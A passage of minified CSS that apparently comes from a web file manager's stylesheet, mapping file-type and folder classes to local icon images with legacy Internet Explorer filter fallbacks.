\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none 